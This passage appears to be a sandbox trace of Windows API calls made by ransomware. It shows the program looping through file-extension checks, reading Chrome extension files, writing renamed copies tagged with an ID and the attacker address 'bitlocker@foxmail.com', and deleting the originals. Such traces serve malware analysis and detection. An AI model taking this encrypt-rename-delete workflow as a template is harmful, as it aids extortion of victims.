lpString2=".png") returned 1 [0174.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 135 [0174.140] lstrlenW (lpString=".zip") returned 4 [0174.140] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0174.140] lstrlenW (lpString=".rar") returned 4 [0174.140] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0174.140] lstrlenW (lpString=".bz2") returned 4 [0174.140] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0174.140] lstrlenW (lpString=".7z") returned 3 [0174.140] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0174.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 135 [0174.140] lstrlenW (lpString=".dbf") returned 4 [0174.140] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0174.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 135 [0174.140] lstrlenW (lpString=".1cd") returned 4 [0174.140] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0174.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 135 [0174.140] lstrlenW (lpString=".jpg") returned 4 [0174.140] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0174.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 135 [0174.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 135 [0174.140] lstrlenW (lpString=".doc") returned 4 [0174.140] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0174.140] lstrlenW (lpString=".docx") returned 5 [0174.140] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0174.140] lstrlenW (lpString=".pdf") returned 4 [0174.141] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0174.141] lstrlenW (lpString=".xls") returned 4 [0174.141] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0174.141] lstrlenW (lpString=".xlsx") returned 5 [0174.141] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0174.141] lstrlenW (lpString=".ppt") returned 4 [0174.141] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0174.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 135 [0174.141] lstrlenW (lpString=".zip") returned 4 [0174.141] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0174.141] lstrlenW (lpString=".rar") returned 4 [0174.141] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0174.141] lstrlenW (lpString=".bz2") returned 4 [0174.141] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0174.141] lstrlenW (lpString=".7z") returned 3 [0174.141] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0174.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 135 [0174.141] lstrlenW (lpString=".dbf") returned 4 [0174.141] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0174.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 135 [0174.141] lstrlenW (lpString=".1cd") returned 4 [0174.141] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0174.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 135 [0174.141] lstrlenW (lpString=".jpg") returned 4 [0174.141] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0174.141] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.142] lstrlenW (lpString="manifest.json") returned 13 [0174.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.142] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=728) returned 1 [0174.142] CloseHandle (hObject=0x1ac) returned 1 [0174.142] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json")) returned 0x2020 [0174.142] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.142] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.143] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.143] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.143] GetLastError () returned 0x0 [0174.143] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x2d8, lpOverlapped=0x0) returned 1 [0174.145] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2e0, lpOverlapped=0x0) returned 1 [0174.146] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.146] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.146] SetEndOfFile (hFile=0x1b4) returned 1 [0174.146] CloseHandle (hObject=0x1b4) returned 1 [0174.146] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.146] SetEndOfFile (hFile=0x1ac) returned 1 [0174.147] CloseHandle (hObject=0x1ac) returned 1 [0174.147] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.147] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json")) returned 1 [0174.147] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 141 [0174.147] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 141 [0174.147] lstrlenW (lpString=".doc") returned 4 [0174.147] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.147] lstrlenW (lpString=".docx") returned 5 [0174.148] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.148] lstrlenW (lpString=".pdf") returned 4 [0174.148] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.148] lstrlenW (lpString=".xls") returned 4 [0174.148] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.148] lstrlenW (lpString=".xlsx") returned 5 [0174.148] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.148] lstrlenW (lpString=".ppt") returned 4 [0174.148] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 141 [0174.148] lstrlenW (lpString=".zip") returned 4 [0174.148] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.148] lstrlenW (lpString=".rar") returned 4 [0174.148] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.148] lstrlenW (lpString=".bz2") returned 4 [0174.148] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.148] lstrlenW (lpString=".7z") returned 3 [0174.148] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 141 [0174.148] lstrlenW (lpString=".dbf") returned 4 [0174.148] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 141 [0174.148] lstrlenW (lpString=".1cd") returned 4 [0174.148] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 141 [0174.148] lstrlenW (lpString=".jpg") returned 4 [0174.148] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 141 [0174.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 141 [0174.149] lstrlenW (lpString=".doc") returned 4 [0174.149] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.149] lstrlenW (lpString=".docx") returned 5 [0174.149] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.149] lstrlenW (lpString=".pdf") returned 4 [0174.149] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.149] lstrlenW (lpString=".xls") returned 4 [0174.149] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.149] lstrlenW (lpString=".xlsx") returned 5 [0174.149] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.149] lstrlenW (lpString=".ppt") returned 4 [0174.149] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 141 [0174.149] lstrlenW (lpString=".zip") returned 4 [0174.149] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.149] lstrlenW (lpString=".rar") returned 4 [0174.149] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.149] lstrlenW (lpString=".bz2") returned 4 [0174.149] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.149] lstrlenW (lpString=".7z") returned 3 [0174.149] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 141 [0174.149] lstrlenW (lpString=".dbf") returned 4 [0174.149] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 141 [0174.149] lstrlenW (lpString=".1cd") returned 4 [0174.149] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 141 [0174.149] lstrlenW (lpString=".jpg") returned 4 [0174.149] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.150] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.150] lstrlenW (lpString="messages.json") returned 13 [0174.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.151] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=179) returned 1 [0174.151] CloseHandle (hObject=0x1ac) returned 1 [0174.151] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json")) returned 0x2020 [0174.151] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.151] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.151] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.152] GetLastError () returned 0x0 [0174.152] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.153] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.154] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.154] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.154] SetEndOfFile (hFile=0x1b4) returned 1 [0174.154] CloseHandle (hObject=0x1b4) returned 1 [0174.154] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.154] SetEndOfFile (hFile=0x1ac) returned 1 [0174.155] CloseHandle (hObject=0x1ac) returned 1 [0174.155] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.155] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json")) returned 1 [0174.155] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 153 [0174.155] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 153 [0174.155] lstrlenW (lpString=".doc") returned 4 [0174.155] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.155] lstrlenW (lpString=".docx") returned 5 [0174.155] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.156] lstrlenW (lpString=".pdf") returned 4 [0174.156] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.156] lstrlenW (lpString=".xls") returned 4 [0174.156] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.156] lstrlenW (lpString=".xlsx") returned 5 [0174.156] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.156] lstrlenW (lpString=".ppt") returned 4 [0174.156] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 153 [0174.156] lstrlenW (lpString=".zip") returned 4 [0174.156] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.156] lstrlenW (lpString=".rar") returned 4 [0174.156] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.156] lstrlenW (lpString=".bz2") returned 4 [0174.156] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.156] lstrlenW (lpString=".7z") returned 3 [0174.156] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 153 [0174.156] lstrlenW (lpString=".dbf") returned 4 [0174.156] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 153 [0174.156] lstrlenW (lpString=".1cd") returned 4 [0174.156] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 153 [0174.156] lstrlenW (lpString=".jpg") returned 4 [0174.156] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.157] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 153 [0174.157] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 153 [0174.157] lstrlenW (lpString=".doc") returned 4 [0174.157] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.157] lstrlenW (lpString=".docx") returned 5 [0174.157] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.157] lstrlenW (lpString=".pdf") returned 4 [0174.157] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.157] lstrlenW (lpString=".xls") returned 4 [0174.157] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.157] lstrlenW (lpString=".xlsx") returned 5 [0174.157] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.157] lstrlenW (lpString=".ppt") returned 4 [0174.157] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.157] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 153 [0174.157] lstrlenW (lpString=".zip") returned 4 [0174.157] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.157] lstrlenW (lpString=".rar") returned 4 [0174.157] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.157] lstrlenW (lpString=".bz2") returned 4 [0174.157] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.157] lstrlenW (lpString=".7z") returned 3 [0174.157] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.157] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 153 [0174.157] lstrlenW (lpString=".dbf") returned 4 [0174.157] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.157] 